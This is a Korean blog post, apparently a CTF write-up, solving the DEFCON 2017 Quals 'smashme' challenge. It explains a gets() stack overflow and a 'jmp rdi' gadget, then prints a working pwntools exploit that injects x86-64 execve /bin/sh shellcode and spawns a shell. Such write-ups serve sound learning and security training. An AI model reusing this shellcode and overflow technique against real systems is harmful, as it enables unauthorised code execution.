ii4gsp

[DEFCON 2017 Quals] smashme 본문

시스템 해킹/CTF

[DEFCON 2017 Quals] smashme

ii4gsp 2020. 2. 13. 20:21

gets()함수에서 취약점이 발생한다.

변수 haystack가 "Smash me outside, how bout dAAAAAAAAAAA"이 아니면 exit()함수가 실행된다.

 

 

 

 

gets()함수를 통해 입력한 데이터는 rdi레지스터에 저장이된다.

haystack은 0x40 즉, 64byte만큼 할당되었으니

"Smash me outside, how bout dAAAAAAAAAAA"를 포함하여 쉘 코드를 rdi에 저장하여 jmp rdi를 ret로 조작해주면 된다.

 

 

 

 

jmp rdi gadget의 주소는 0x00000000004c4e1b 이다.

 

 

 

 

Exploit

from pwn import *

p = process('/home/ii4gsp/Desktop/src/smashme')

shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

payload = '\x90' * 6
payload += shellcode
payload += 'Smash me outside, how bout dAAAAAAAAAAA'
payload += p64(0x00000000004c4e1b)

p.sendline(payload)

p.interactive()

소스코드를 작성해주자.

 

 

 

 

 

'시스템 해킹 > CTF' 카테고리의 다른 글

CSAW CTF 2018 Quals - bigboy  (0) 2020.03.03
SSG_CTF - SimpleBOF  (0) 2020.02.25
[DEFCON 2015] r0pbaby  (0) 2020.02.20
[CODEGATE 2018] BaskinRobbins31  (0) 2020.02.20
[CODEGATE 2018] betting  (0) 2020.02.13
Comments